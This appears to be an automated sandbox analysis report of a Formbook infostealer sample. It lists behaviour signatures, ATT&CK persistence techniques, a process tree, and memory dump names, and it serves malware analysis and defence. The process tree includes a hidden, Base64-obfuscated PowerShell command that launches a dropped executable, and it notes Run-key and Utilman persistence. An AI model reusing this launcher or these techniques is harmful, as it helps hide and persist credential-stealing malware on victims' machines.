Analysis
- max time kernel
149s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
11/08/2026, 14:06
General
- Target J6G5tzYJQyoHL3B.exe
- Size 1.0MB
- Sample260811-rem6daeg22
- SHA256 28ffd6cabaa73b275acb5f6e12101bae89530dd730e6bc414849d80b5c206875
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 3 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 32 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 7 IoCs
- Suspicious use of AdjustPrivilegeToken 30 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
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C:\Users\Admin\AppData\Local\Temp\J6G5tzYJQyoHL3B.exe"C:\Users\Admin\AppData\Local\Temp\J6G5tzYJQyoHL3B.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\J6G5tzYJQyoHL3B.exe"C:\Users\Admin\AppData\Local\Temp\J6G5tzYJQyoHL3B.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$uvurik=$env:COMPUTERNAME;$fcxnxl=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$gzd25x=Get-Date;$dm2zuo=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHFVTlJuVkdqQWZIUGIuZXhl')));$uvurik=$env:COMPUTERNAME;& $fcxnxl -FilePath $dm2zuo"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\qUNRnVGjAfHPb.exe"C:\Users\Admin\AppData\Roaming\qUNRnVGjAfHPb.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\qUNRnVGjAfHPb.exe"C:\Users\Admin\AppData\Roaming\qUNRnVGjAfHPb.exe"3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Roaming\qUNRnVGjAfHPb.exe"C:\Users\Admin\AppData\Roaming\qUNRnVGjAfHPb.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\Utilman.exe"C:\Windows\SysWOW64\Utilman.exe"1⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Accessibility Features
1Replay Monitor
Loading Replay Monitor...
Downloads
qUNRnVGjAfHPb.exe
memory/1540-38-0x0000000005830000-0x00000000058E7000-memory.dmp
memory/1544-35-0x0000000000C70000-0x0000000003E78000-memory.dmp
memory/1544-32-0x0000000000C70000-0x0000000003E78000-memory.dmp
memory/3080-48-0x0000019439060000-0x0000019439161000-memory.dmp
memory/4356-20-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-19-0x000001A86DE60000-0x000001A86DE82000-memory.dmp
memory/4356-31-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-27-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-26-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-25-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-24-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-23-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-22-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-21-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4356-15-0x00007FFFDEE7F000-0x00007FFFDEE80000-memory.dmp
memory/4356-18-0x00007FFFDECF0000-0x00007FFFDF694000-memory.dmp
memory/4644-13-0x00000000744B0000-0x0000000074C6C000-memory.dmp
memory/4644-4-0x0000000005BD0000-0x0000000005BDA000-memory.dmp
memory/4644-1-0x0000000000FA0000-0x00000000010B0000-memory.dmp
memory/4644-6-0x00000000744B0000-0x0000000074C6C000-memory.dmp
memory/4644-2-0x0000000006130000-0x00000000066EA000-memory.dmp
memory/4644-3-0x0000000005C10000-0x0000000005CA2000-memory.dmp
memory/4644-10-0x00000000083F0000-0x00000000084D0000-memory.dmp
memory/4644-9-0x00000000744B0000-0x0000000074C6C000-memory.dmp
memory/4644-8-0x00000000744C2000-0x00000000744C3000-memory.dmp
memory/4644-0-0x00000000744C2000-0x00000000744C3000-memory.dmp
memory/4644-5-0x0000000005D50000-0x0000000005DEC000-memory.dmp
memory/4644-7-0x0000000005E30000-0x0000000005E50000-memory.dmp
memory/4680-28-0x00000000017E0000-0x0000000001826000-memory.dmp
memory/4680-34-0x00000000017E0000-0x0000000001826000-memory.dmp
memory/4680-11-0x0000000000400000-0x0000000000446000-memory.dmp
memory/4680-36-0x00000000017E0000-0x0000000001826000-memory.dmp
memory/4680-12-0x00000000017E0000-0x0000000001826000-memory.dmp
memory/4680-14-0x0000000001BB0000-0x0000000001F24000-memory.dmp
memory/5956-33-0x0000000000A90000-0x0000000000AD3000-memory.dmp
memory/5956-37-0x0000000000A90000-0x0000000000AD3000-memory.dmp